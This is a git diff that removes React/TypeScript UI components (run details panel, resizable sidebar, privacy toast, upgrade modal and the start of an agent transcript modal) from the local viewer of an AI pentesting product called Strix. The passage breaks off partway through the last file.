||||
const cost = num(usage.cost);
|
||||
|
||||
const sub = (n: number, word: string) => (
|
||||
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setOpen((v) => !v)}
|
||||
aria-expanded={open}
|
||||
className="flex w-full cursor-pointer items-center gap-2 text-left"
|
||||
>
|
||||
<Info className="h-4 w-4 text-[#888]" aria-hidden="true" />
|
||||
<h2 className="text-sm font-semibold text-white">Run details</h2>
|
||||
{open ? (
|
||||
<ChevronUp className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
|
||||
) : (
|
||||
<ChevronDown className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
|
||||
)}
|
||||
</button>
|
||||
|
||||
{open && (
|
||||
<div className="mt-4 grid grid-cols-1 gap-x-8 gap-y-6 md:grid-cols-2">
|
||||
<section>
|
||||
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
|
||||
Configuration
|
||||
</h3>
|
||||
<dl className="space-y-2.5">
|
||||
{targets.length > 0 && (
|
||||
<Field label="Targets">
|
||||
<div className="space-y-1">
|
||||
{targets.map((t, i) => (
|
||||
<div key={i} className="flex flex-wrap items-center gap-2">
|
||||
<span className="font-mono text-[#ddd]">{t.display}</span>
|
||||
{t.type && (
|
||||
<span className="rounded-full border border-[#2a2a2a] px-1.5 py-0.5 text-[10px] text-[#888]">
|
||||
{t.type}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
</Field>
|
||||
)}
|
||||
<Field label="Instruction">
|
||||
{instruction ? (
|
||||
<span className="whitespace-pre-wrap">{instruction}</span>
|
||||
) : (
|
||||
<span className="text-[#666]">None</span>
|
||||
)}
|
||||
</Field>
|
||||
{scanMode && <Field label="Pentest mode">{scanMode}</Field>}
|
||||
<Field label="Scope">{scope}</Field>
|
||||
<Field label="Mode">{nonInteractive ? "Non-interactive" : "Interactive"}</Field>
|
||||
{localSources.length > 0 && (
|
||||
<Field label="Local sources">
|
||||
<div className="space-y-0.5 font-mono text-[#ddd]">
|
||||
{localSources.map((s, i) => (
|
||||
<div key={i}>{s}</div>
|
||||
))}
|
||||
</div>
|
||||
</Field>
|
||||
)}
|
||||
{status && <Field label="Status">{status}</Field>}
|
||||
</dl>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
|
||||
Usage & cost
|
||||
</h3>
|
||||
{hasUsage ? (
|
||||
<dl className="space-y-2.5 tabular-nums">
|
||||
<Field label="Model">{models.length ? models.join(", ") : "n/a"}</Field>
|
||||
<Field label="Run time">{fmtDuration(durationSeconds)}</Field>
|
||||
{requests != null && <Field label="Requests">{formatNumber(requests)}</Field>}
|
||||
{inputTokens != null && (
|
||||
<Field label="Input tokens">
|
||||
{formatNumber(inputTokens)}
|
||||
{cached != null && sub(cached, "cached")}
|
||||
</Field>
|
||||
)}
|
||||
{outputTokens != null && (
|
||||
<Field label="Output tokens">
|
||||
{formatNumber(outputTokens)}
|
||||
{reasoning != null && sub(reasoning, "reasoning")}
|
||||
</Field>
|
||||
)}
|
||||
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
|
||||
{cost != null && <Field label="Cost">${cost.toFixed(2)}</Field>}
|
||||
{agents.length > 0 && <Field label="Agents">{formatNumber(agents.length)}</Field>}
|
||||
</dl>
|
||||
) : (
|
||||
<p className="text-sm text-[#666]">Not available yet.</p>
|
||||
)}
|
||||
</section>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default RunDetails;
|
||||
@@ -1,435 +0,0 @@
|
||||
import React, { useCallback, useEffect, useRef, useState } from "react";
|
||||
import {
|
||||
AlertTriangle,
|
||||
Bot,
|
||||
Users,
|
||||
History,
|
||||
Mail,
|
||||
LogOut,
|
||||
ChevronsUpDown,
|
||||
} from "lucide-react";
|
||||
import { LuGitPullRequestArrow } from "react-icons/lu";
|
||||
import { VscExtensions } from "react-icons/vsc";
|
||||
import { IoChatbubblesOutline } from "react-icons/io5";
|
||||
import { cn } from "@/lib/utils";
|
||||
import { ctaUrl, trackCta } from "@/lib/cta";
|
||||
import { UpgradeModal } from "@/components/UpgradeModal";
|
||||
import type { View } from "@/App";
|
||||
|
||||
/**
|
||||
* Persistent left rail: a black rail with a right hairline border, an
|
||||
* account-switcher-style header, a single ungrouped list of h-9 nav rows (36px
|
||||
* icon slot, 14px label, rgba(255,255,255,0.12) active fill), a hairline
|
||||
* separator, and a user footer. Drag the right edge to resize; drag past the
|
||||
* collapse threshold to hide it, then click the left pull-zone to bring it back.
|
||||
*/
|
||||
|
||||
const MIN_WIDTH = 160;
|
||||
const DEFAULT_WIDTH = 260;
|
||||
const MAX_WIDTH = 400;
|
||||
const COLLAPSE_THRESHOLD = 140;
|
||||
|
||||
const WIDTH_KEY = "strix_viewer_sidebar_width";
|
||||
const COLLAPSE_KEY = "strix_viewer_sidebar_collapsed";
|
||||
|
||||
interface SidebarProps {
|
||||
view: View;
|
||||
onSelectView: (view: View) => void;
|
||||
issuesCount: number;
|
||||
agentCount: number;
|
||||
runCount: number;
|
||||
finished: boolean;
|
||||
verified: boolean;
|
||||
email: string | null;
|
||||
onOpenEmail: () => void;
|
||||
onOpenHistory: () => void;
|
||||
onForget: () => void;
|
||||
}
|
||||
|
||||
function readInt(key: string, fallback: number): number {
|
||||
try {
|
||||
const raw = localStorage.getItem(key);
|
||||
const n = raw ? parseInt(raw, 10) : NaN;
|
||||
return Number.isFinite(n) ? n : fallback;
|
||||
} catch {
|
||||
return fallback;
|
||||
}
|
||||
}
|
||||
|
||||
export default function Sidebar({
|
||||
view,
|
||||
onSelectView,
|
||||
issuesCount,
|
||||
agentCount,
|
||||
runCount,
|
||||
finished,
|
||||
verified,
|
||||
email,
|
||||
onOpenEmail,
|
||||
onOpenHistory,
|
||||
onForget,
|
||||
}: SidebarProps) {
|
||||
const [width, setWidth] = useState(() => {
|
||||
const w = readInt(WIDTH_KEY, DEFAULT_WIDTH);
|
||||
return Math.min(MAX_WIDTH, Math.max(MIN_WIDTH, w));
|
||||
});
|
||||
const [collapsed, setCollapsed] = useState(() => {
|
||||
try {
|
||||
return localStorage.getItem(COLLAPSE_KEY) === "1";
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
const [isResizing, setIsResizing] = useState(false);
|
||||
const [showUserMenu, setShowUserMenu] = useState(false);
|
||||
const [upgradeFeature, setUpgradeFeature] = useState<string | null>(null);
|
||||
const userMenuRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
// Open the upgrade dialog for a platform feature, recording which feature
|
||||
// drove the open (the dialog's own CTAs track the deeper conversion).
|
||||
const openUpgrade = (slug: string, description: string) => {
|
||||
trackCta(slug, "sidebar");
|
||||
setUpgradeFeature(description);
|
||||
};
|
||||
|
||||
const persistWidth = useCallback((w: number) => {
|
||||
setWidth(w);
|
||||
try {
|
||||
localStorage.setItem(WIDTH_KEY, String(w));
|
||||
} catch {
|
||||
/* best-effort persistence */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const persistCollapsed = useCallback((c: boolean) => {
|
||||
setCollapsed(c);
|
||||
try {
|
||||
localStorage.setItem(COLLAPSE_KEY, c ? "1" : "0");
|
||||
} catch {
|
||||
/* best-effort persistence */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const expandSidebar = useCallback(() => {
|
||||
persistCollapsed(false);
|
||||
persistWidth(DEFAULT_WIDTH);
|
||||
}, [persistCollapsed, persistWidth]);
|
||||
|
||||
const handleResizeStart = useCallback((e: React.MouseEvent) => {
|
||||
e.preventDefault();
|
||||
setIsResizing(true);
|
||||
}, []);
|
||||
|
||||
// Global drag handlers for the resize handle. Dragging below the collapse
|
||||
// threshold hides the rail entirely.
|
||||
useEffect(() => {
|
||||
if (!isResizing || collapsed) return;
|
||||
|
||||
const handleMouseMove = (e: MouseEvent) => {
|
||||
const newWidth = e.clientX;
|
||||
if (newWidth >= MIN_WIDTH && newWidth <= MAX_WIDTH) {
|
||||
setWidth(newWidth);
|
||||
} else if (newWidth > MAX_WIDTH) {
|
||||
setWidth(MAX_WIDTH);
|
||||
}
|
||||
};
|
||||
const handleMouseUp = (e: MouseEvent) => {
|
||||
const finalWidth = e.clientX;
|
||||
if (finalWidth < COLLAPSE_THRESHOLD) {
|
||||
persistCollapsed(true);
|
||||
persistWidth(DEFAULT_WIDTH);
|
||||
} else {
|
||||
persistWidth(Math.min(MAX_WIDTH, Math.max(MIN_WIDTH, finalWidth)));
|
||||
}
|
||||
setIsResizing(false);
|
||||
};
|
||||
|
||||
window.addEventListener("mousemove", handleMouseMove);
|
||||
window.addEventListener("mouseup", handleMouseUp);
|
||||
return () => {
|
||||
window.removeEventListener("mousemove", handleMouseMove);
|
||||
window.removeEventListener("mouseup", handleMouseUp);
|
||||
};
|
||||
}, [isResizing, collapsed, persistCollapsed, persistWidth]);
|
||||
|
||||
// Close the user menu when clicking outside it.
|
||||
useEffect(() => {
|
||||
if (!showUserMenu) return;
|
||||
const onDown = (e: MouseEvent) => {
|
||||
if (userMenuRef.current && !userMenuRef.current.contains(e.target as Node)) {
|
||||
setShowUserMenu(false);
|
||||
}
|
||||
};
|
||||
document.addEventListener("mousedown", onDown);
|
||||
return () => document.removeEventListener("mousedown", onDown);
|
||||
}, [showUserMenu]);
|
||||
|
||||
return (
|
||||
<>
|
||||
{/* Left-edge pull zone: click to bring the rail back when collapsed. */}
|
||||
{collapsed && (
|
||||
<div
|
||||
className="fixed left-0 top-0 z-40 hidden h-full w-4 cursor-pointer transition-colors hover:bg-[rgba(255,255,255,0.08)] lg:block"
|
||||
onClick={expandSidebar}
|
||||
title="Expand sidebar"
|
||||
/>
|
||||
)}
|
||||
|
||||
<aside
|
||||
className={cn(
|
||||
"sticky top-0 z-20 hidden h-screen flex-shrink-0 flex-col overflow-hidden border-r border-[rgba(255,255,255,0.08)] bg-black lg:flex",
|
||||
!isResizing && "transition-[width] duration-200 ease-out"
|
||||
)}
|
||||
style={{ width: collapsed ? 0 : width }}
|
||||
>
|
||||
{/* Header — account-switcher stand-in (links out to Strix Cloud). */}
|
||||
<header className="relative flex flex-col gap-1 pt-1 min-w-[160px]">
|
||||
<div className="flex flex-row py-1 px-2">
|
||||
<div className="flex h-10 w-full flex-row items-center">
|
||||
<a
|
||||
href={ctaUrl("https://app.strix.ai", "logo")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("logo", "sidebar")}
|
||||
className="flex flex-1 flex-row items-center gap-2 rounded-md py-2 pl-2.5 pr-1 min-w-0 transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
title="Open Strix Cloud"
|
||||
>
|
||||
<span
|
||||
className="flex flex-shrink-0 items-center justify-center rounded-full bg-gradient-to-br from-emerald-400 to-cyan-500"
|
||||
style={{ width: 20, height: 20 }}
|
||||
>
|
||||
<span className="text-[10px] font-semibold text-white">S</span>
|
||||
</span>
|
||||
<span className="flex flex-1 flex-row items-center gap-2 min-w-0">
|
||||
<span className="truncate min-w-0 text-[14px] font-medium text-[#ededed]">Strix</span>
|
||||
<span className="flex h-5 flex-shrink-0 items-center rounded px-2 text-[11px] font-medium text-[#888] bg-[rgba(255,255,255,0.08)]">
|
||||
Local
|
||||
</span>
|
||||
</span>
|
||||
</a>
|
||||
<a
|
||||
href={ctaUrl("https://app.strix.ai", "logo")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("logo", "sidebar")}
|
||||
className="flex flex-none items-center rounded-md px-1.5 py-2 transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
aria-label="Open Strix Cloud"
|
||||
>
|
||||
<ChevronsUpDown className="h-4 w-4 text-[#666]" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* Navigation */}
|
||||
<nav className="relative min-w-[160px] flex-1 overflow-y-auto overflow-x-clip scrollbar-thin pb-10 pt-2">
|
||||
<div className="relative flex flex-col gap-px px-2">
|
||||
<NavItem
|
||||
icon={<ProjectsIcon />}
|
||||
label="Pentest Overview"
|
||||
active={view === "overview"}
|
||||
onClick={() => onSelectView("overview")}
|
||||
/>
|
||||
<NavItem
|
||||
icon={<AlertTriangle className="h-4 w-4" />}
|
||||
label="Issues"
|
||||
count={issuesCount > 0 ? issuesCount : undefined}
|
||||
active={view === "issues"}
|
||||
onClick={() => onSelectView("issues")}
|
||||
/>
|
||||
{agentCount > 0 && (
|
||||
<NavItem
|
||||
icon={<Bot className="h-4 w-4" />}
|
||||
label="Agents"
|
||||
count={agentCount}
|
||||
active={view === "agents"}
|
||||
onClick={() => onSelectView("agents")}
|
||||
/>
|
||||
)}
|
||||
<NavItem
|
||||
icon={<History className="h-4 w-4" />}
|
||||
label="Past runs"
|
||||
count={runCount > 0 ? runCount : undefined}
|
||||
active={view === "history"}
|
||||
onClick={onOpenHistory}
|
||||
/>
|
||||
{finished && (
|
||||
<NavItem
|
||||
icon={<Mail className="h-4 w-4" />}
|
||||
label="Export report"
|
||||
active={view === "email"}
|
||||
onClick={onOpenEmail}
|
||||
/>
|
||||
)}
|
||||
<NavItem
|
||||
icon={<IoChatbubblesOutline className="h-4 w-4" />}
|
||||
label="Feedback & support"
|
||||
active={view === "feedback"}
|
||||
onClick={() => onSelectView("feedback")}
|
||||
/>
|
||||
|
||||
<hr className="mx-0 my-1 h-px w-full border-0 bg-[rgba(255,255,255,0.08)]" />
|
||||
|
||||
<NavItem
|
||||
icon={<LuGitPullRequestArrow className="h-4 w-4" />}
|
||||
label="PR Security Reviews"
|
||||
active={false}
|
||||
onClick={() =>
|
||||
openUpgrade(
|
||||
"pr_reviews",
|
||||
"Strix reviews every pull request and flags exploitable changes before they merge."
|
||||
)
|
||||
}
|
||||
/>
|
||||
<NavItem
|
||||
icon={<VscExtensions className="h-4 w-4" />}
|
||||
label="Integrations"
|
||||
active={false}
|
||||
onClick={() =>
|
||||
openUpgrade(
|
||||
"integrations",
|
||||
"Sync findings to Jira, Linear, and Slack so fixes happen where your team already works."
|
||||
)
|
||||
}
|
||||
/>
|
||||
<NavItem
|
||||
icon={<Users className="h-4 w-4" />}
|
||||
label="Members"
|
||||
active={false}
|
||||
onClick={() =>
|
||||
openUpgrade(
|
||||
"members",
|
||||
"Invite your team, set roles, and share findings and run history across your org."
|
||||
)
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
{/* User footer — verified-email footer. */}
|
||||
<section className="flex min-w-[160px] flex-col gap-0.5" ref={userMenuRef}>
|
||||
<div className="relative p-2">
|
||||
{verified && email ? (
|
||||
<button
|
||||
onClick={() => setShowUserMenu((v) => !v)}
|
||||
className="relative flex w-full cursor-pointer items-center gap-2 rounded-md bg-transparent px-2.5 py-2 transition-colors hover:bg-[rgba(255,255,255,0.06)]"
|
||||
>
|
||||
<span
|
||||
className="flex flex-shrink-0 items-center justify-center rounded-full bg-gradient-to-br from-emerald-400 to-cyan-500"
|
||||
style={{ width: 20, height: 20 }}
|
||||
>
|
||||
<span className="text-[9px] font-semibold text-white">
|
||||
{email[0]?.toUpperCase() || "U"}
|
||||
</span>
|
||||
</span>
|
||||
<span className="flex min-w-0 flex-1 flex-col text-left">
|
||||
<span className="truncate text-[13px] font-medium text-[#ededed]">{email}</span>
|
||||
<span className="truncate text-[11px] text-[#555]">Linked to this machine</span>
|
||||
</span>
|
||||
</button>
|
||||
) : (
|
||||
<div className="flex items-center gap-2 rounded-md px-2.5 py-2">
|
||||
<span
|
||||
className="flex flex-shrink-0 items-center justify-center rounded-full bg-gradient-to-br from-emerald-400 to-cyan-500"
|
||||
style={{ width: 20, height: 20 }}
|
||||
>
|
||||
<span className="text-[9px] font-semibold text-white">S</span>
|
||||
</span>
|
||||
<span className="flex min-w-0 flex-1 flex-col text-left">
|
||||
<span className="truncate text-[13px] font-medium text-[#ededed]">Local viewer</span>
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{showUserMenu && verified && email && (
|
||||
<div className="absolute bottom-full left-2 right-2 z-50 mb-1 overflow-hidden rounded-lg border border-[#333] bg-black shadow-xl">
|
||||
<div className="border-b border-[#333] px-3 py-2">
|
||||
<p className="truncate text-[13px] font-medium text-white">Linked email</p>
|
||||
<p className="truncate text-[11px] text-[#666]">{email}</p>
|
||||
</div>
|
||||
<button
|
||||
onClick={() => {
|
||||
setShowUserMenu(false);
|
||||
onForget();
|
||||
}}
|
||||
className="flex w-full items-center gap-2 px-3 py-2 text-[13px] text-[#888] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-red-400"
|
||||
>
|
||||
<LogOut className="h-4 w-4" />
|
||||
Forget this email
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
{/* Resize handle */}
|
||||
<div
|
||||
className="group absolute right-0 top-0 z-30 h-full w-1 cursor-col-resize"
|
||||
onMouseDown={handleResizeStart}
|
||||
>
|
||||
<div
|
||||
className={cn(
|
||||
"absolute right-0 top-0 h-full w-px bg-[rgba(255,255,255,0.08)] transition-all duration-100",
|
||||
isResizing ? "w-0.5 bg-[rgba(255,255,255,0.3)]" : "group-hover:bg-[rgba(255,255,255,0.2)]"
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
{/* Overlay during resize to prevent text selection. */}
|
||||
{isResizing && <div className="fixed inset-0 z-10 cursor-col-resize" />}
|
||||
|
||||
<UpgradeModal
|
||||
open={upgradeFeature !== null}
|
||||
description={upgradeFeature ?? ""}
|
||||
source="sidebar"
|
||||
onClose={() => setUpgradeFeature(null)}
|
||||
/>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
interface NavItemProps {
|
||||
icon: React.ReactNode;
|
||||
label: string;
|
||||
active: boolean;
|
||||
onClick: () => void;
|
||||
count?: number;
|
||||
}
|
||||
|
||||
function NavItem({ icon, label, active, onClick, count }: NavItemProps) {
|
||||
return (
|
||||
<button
|
||||
onClick={onClick}
|
||||
className={cn(
|
||||
"group flex h-9 w-full origin-left flex-row items-center rounded-md transition-colors",
|
||||
active
|
||||
? "bg-[rgba(255,255,255,0.12)] text-white"
|
||||
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-[#ededed]"
|
||||
)}
|
||||
>
|
||||
<div className="grid flex-none place-content-center" style={{ width: 36, height: 36 }}>
|
||||
{icon}
|
||||
</div>
|
||||
<span className="min-w-0 flex-1 truncate text-left text-[14px] font-medium">{label}</span>
|
||||
{count != null && (
|
||||
<span className="mr-2 flex-none rounded-full border border-white/10 px-2 py-0.5 text-[10px] tabular-nums leading-none text-[#777]">
|
||||
{count}
|
||||
</span>
|
||||
)}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
// Overview icon: a dashboard grid glyph (16x16 viewBox).
|
||||
function ProjectsIcon() {
|
||||
return (
|
||||
<svg style={{ width: 16, height: 16, color: "currentcolor" }} viewBox="0 0 16 16" fill="currentColor">
|
||||
<path
|
||||
fillRule="evenodd"
|
||||
clipRule="evenodd"
|
||||
d="M2.5 5.5V2.5H5.5V5.5H2.5ZM1 2C1 1.44772 1.44772 1 2 1H6C6.55228 1 7 1.44772 7 2V6C7 6.55228 6.55228 7 6 7H2C1.44772 7 1 6.55228 1 6V2ZM2.5 13.5V10.5H5.5V13.5H2.5ZM1 10C1 9.44772 1.44772 9 2 9H6C6.55228 9 7 9.44772 7 10V14C7 14.5523 6.55228 15 6 15H2C1.44772 15 1 14.5523 1 14V10ZM10.5 2.5V5.5H13.5V2.5H10.5ZM10 1C9.44772 1 9 1.44772 9 2V6C9 6.55228 9.44772 7 10 7H14C14.5523 7 15 6.55228 15 6V2C15 1.44772 14.5523 1 14 1H10ZM10.5 13.5V10.5H13.5V13.5H10.5ZM9 10C9 9.44772 9.44772 9 10 9H14C14.5523 9 15 9.44772 15 10V14C15 14.5523 14.5523 15 14 15H10C9.44772 15 9 14.5523 9 14V10Z"
|
||||
/>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
@@ -1,51 +0,0 @@
|
||||
import { useState } from "react";
|
||||
import { ShieldCheck, X } from "lucide-react";
|
||||
|
||||
const DISMISS_KEY = "strix_viewer_trust_dismissed";
|
||||
|
||||
/**
|
||||
* One-time privacy notice, shown as a toast pinned over the sidebar. Dismissing
|
||||
* it persists to localStorage so it never returns on reload or view changes.
|
||||
*/
|
||||
export function TrustToast({ message }: { message: string }) {
|
||||
const [dismissed, setDismissed] = useState<boolean>(() => {
|
||||
try {
|
||||
return localStorage.getItem(DISMISS_KEY) === "1";
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
if (dismissed) return null;
|
||||
|
||||
const dismiss = () => {
|
||||
try {
|
||||
localStorage.setItem(DISMISS_KEY, "1");
|
||||
} catch {
|
||||
/* non-fatal: worst case the toast shows again next session */
|
||||
}
|
||||
setDismissed(true);
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
className="fixed bottom-3 left-3 z-[60] max-w-xs rounded-lg bg-[#0a0a0a] p-3 shadow-2xl"
|
||||
style={{ border: "1px solid #2a2a2a" }}
|
||||
role="status"
|
||||
>
|
||||
<div className="flex gap-2.5">
|
||||
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
|
||||
<p className="text-xs leading-relaxed text-[#aaa]">{message}</p>
|
||||
<button
|
||||
onClick={dismiss}
|
||||
aria-label="Dismiss"
|
||||
className="-mr-0.5 -mt-0.5 flex-shrink-0 cursor-pointer rounded p-0.5 text-[#666] transition-colors hover:text-white"
|
||||
>
|
||||
<X className="h-3.5 w-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default TrustToast;
|
||||
@@ -1,150 +0,0 @@
|
||||
import { useEffect, useState } from "react";
|
||||
import {
|
||||
X,
|
||||
Sparkles,
|
||||
ExternalLink,
|
||||
GitPullRequest,
|
||||
Shield,
|
||||
Zap,
|
||||
CalendarClock,
|
||||
WandSparkles,
|
||||
Plug,
|
||||
} from "lucide-react";
|
||||
import { SIGNUP_URL, PRICING_URL, ctaUrl, trackCta } from "@/lib/cta";
|
||||
|
||||
/**
|
||||
* Dialog shown when a platform feature is clicked in the sidebar: a short
|
||||
* description of the feature plus what Strix Cloud includes. The local viewer
|
||||
* has no billing, so both CTAs link out to the public sign-up / pricing pages.
|
||||
*/
|
||||
|
||||
const CLOUD_HIGHLIGHTS: { icon: React.ElementType; label: string }[] = [
|
||||
{ icon: GitPullRequest, label: "PR security reviews" },
|
||||
{ icon: Shield, label: "Attack surface monitoring" },
|
||||
{ icon: Zap, label: "Real-time threat intelligence" },
|
||||
{ icon: CalendarClock, label: "Scheduled pentesting" },
|
||||
{ icon: WandSparkles, label: "One-click autofix" },
|
||||
{ icon: Plug, label: "Jira, Linear & Slack integrations" },
|
||||
];
|
||||
|
||||
export function UpgradeModal({
|
||||
open,
|
||||
onClose,
|
||||
description,
|
||||
source = "sidebar",
|
||||
}: {
|
||||
open: boolean;
|
||||
onClose: () => void;
|
||||
/** A short sentence describing what the clicked feature does. */
|
||||
description: string;
|
||||
source?: string;
|
||||
}) {
|
||||
// Keep the dialog mounted through its exit animation: `render` controls
|
||||
// presence in the DOM and `state` ("open"/"closed") drives the keyframe. On
|
||||
// close we flip to "closed", let the 200ms animation play, then unmount --
|
||||
// the same lifecycle Radix gives shadcn's Dialog.
|
||||
const [render, setRender] = useState(open);
|
||||
const [state, setState] = useState<"open" | "closed">(open ? "open" : "closed");
|
||||
|
||||
useEffect(() => {
|
||||
if (open) {
|
||||
setRender(true);
|
||||
setState("open");
|
||||
return;
|
||||
}
|
||||
setState("closed");
|
||||
const t = setTimeout(() => setRender(false), 200);
|
||||
return () => clearTimeout(t);
|
||||
}, [open]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!render) return;
|
||||
const onKey = (e: KeyboardEvent) => {
|
||||
if (e.key === "Escape") onClose();
|
||||
};
|
||||
document.addEventListener("keydown", onKey);
|
||||
const prevOverflow = document.body.style.overflow;
|
||||
document.body.style.overflow = "hidden";
|
||||
return () => {
|
||||
document.removeEventListener("keydown", onKey);
|
||||
document.body.style.overflow = prevOverflow;
|
||||
};
|
||||
}, [render, onClose]);
|
||||
|
||||
if (!render) return null;
|
||||
|
||||
return (
|
||||
<div
|
||||
data-state={state}
|
||||
className="dialog-overlay fixed inset-0 z-50 flex items-center justify-center bg-black/80 p-4"
|
||||
onClick={onClose}
|
||||
role="dialog"
|
||||
aria-modal="true"
|
||||
aria-label="Upgrade your plan"
|
||||
>
|
||||
<div
|
||||
data-state={state}
|
||||
className="dialog-panel relative w-full max-w-md rounded-2xl border border-[#222] bg-black p-6 shadow-lg sm:rounded-lg"
|
||||
onClick={(e) => e.stopPropagation()}
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
onClick={onClose}
|
||||
aria-label="Close"
|
||||
className="absolute right-4 top-4 rounded-md p-1 text-[#888] transition-colors hover:bg-[#1a1a1a] hover:text-white"
|
||||
>
|
||||
<X className="h-4 w-4" />
|
||||
</button>
|
||||
|
||||
<div>
|
||||
<h2 className="text-lg text-white">Available in Strix Cloud</h2>
|
||||
{description && (
|
||||
<p className="mt-2 text-base leading-relaxed text-[#e5e5e5]">{description}</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="space-y-4 pt-4">
|
||||
<div className="rounded-xl border border-[#333] bg-[#0a0a0a] p-4 sm:rounded-lg">
|
||||
<div className="mb-3 flex items-center gap-2">
|
||||
<Sparkles className="h-4 w-4 text-blue-400" />
|
||||
<span className="text-sm font-medium text-white">Strix Cloud also includes</span>
|
||||
</div>
|
||||
<ul className="space-y-2 text-sm text-[#888]">
|
||||
{CLOUD_HIGHLIGHTS.map((f) => (
|
||||
<li key={f.label} className="flex items-center gap-2">
|
||||
<f.icon className="h-3.5 w-3.5 text-[#555]" />
|
||||
{f.label}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="flex flex-col gap-2">
|
||||
<a
|
||||
href={ctaUrl(SIGNUP_URL, "upgrade_try_free")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("upgrade_try_free", source)}
|
||||
className="flex h-10 w-full items-center justify-center gap-2 rounded-lg bg-white px-4 text-sm font-semibold text-black transition-colors hover:bg-neutral-200"
|
||||
>
|
||||
Open Strix Cloud
|
||||
<ExternalLink className="h-3.5 w-3.5" />
|
||||
</a>
|
||||
<a
|
||||
href={ctaUrl(PRICING_URL, "upgrade_view_plans")}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
onClick={() => trackCta("upgrade_view_plans", source)}
|
||||
className="flex h-9 w-full items-center justify-center gap-1.5 rounded-lg border border-[#333] px-4 text-sm font-medium text-[#888] transition-colors hover:border-[#555] hover:text-white"
|
||||
>
|
||||
Learn more
|
||||
<ExternalLink className="h-3 w-3" />
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default UpgradeModal;
|
||||
@@ -1,167 +0,0 @@
|
||||
import { useCallback, useEffect, useRef, useState } from "react";
|
||||
import { X } from "lucide-react";
|
||||
import { AgentTranscript } from "./AgentTranscript";
|
||||
import { ScanPromptComposer } from "./ScanPromptComposer";
|
||||
import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource";
|
||||
|
||||
/** Status -> the small leading dot color, matching the graph node styling. */
|
||||
const STATUS_DOT: Record<string, string> = {
|
||||
completed: "bg-emerald-400",
|
||||
running: "bg-blue-400",
|
||||
waiting: "bg-yellow-400",
|
||||
stopped: "bg-[#888]",
|
||||
crashed: "bg-red-400",
|
||||
failed: "bg-red-400",
|
||||
};
|
||||
|
||||
/** Consider the user "at the bottom" within this many px. */
|
||||
const NEAR_BOTTOM_PX = 80;
|
||||
|
||||
/**
|
||||
* Overlay modal showing a single agent's full transcript. A centered
|
||||
* ``max-w-6xl`` / ``60vh`` panel that animates in and out via the shared
|
||||
* ``agent-modal`` data-state keyframes (fade), with a pinned header
|
||||
* (status dot + agent name),
|
||||
* the transcript scrolling beneath it, and a footer. Auto-scrolls to follow new
|
||||
* activity while the user is near the bottom. Closes on backdrop click, the X
|
||||
* button, or Escape.
|
||||
*
|
||||
* Driven by an ``open`` prop (rather than conditional mounting) so the exit
|
||||
* animation can play before unmount; the last agent is retained through the
|
||||
* close so content doesn't blank out mid-animation.
|
||||
*/
|
||||
export function AgentDetailModal({
|
||||
open,
|
||||
agent,
|
||||
events,
|
||||
steerable,
|
||||
onClose,
|
||||
}: {
|
||||
open: boolean;
|
||||
agent: TranscriptAgent | null;
|
||||
events: TranscriptEvent[];
|
||||
steerable: boolean;
|
||||
onClose: () => void;
|
||||
}) {
|
||||
const scrollRef = useRef<HTMLDivElement>(null);
|
||||
const nearBottom = useRef(false);
|
||||
|
||||
// Keep the modal mounted through its exit animation (see UpgradeModal).
|
||||
const [render, setRender] = useState(open);
|
||||
const [state, setState] = useState<"open" | "closed">(open ? "open" : "closed");
|
||||
// Defer the (heavy) transcript one frame so the shell + fade paint instantly
|
||||
// instead of waiting on the full event list to render.
|
||||
const [contentReady, setContentReady] = useState(false);
|
||||
|
||||
// Retain the last non-null agent so the panel keeps rendering its content
|
||||
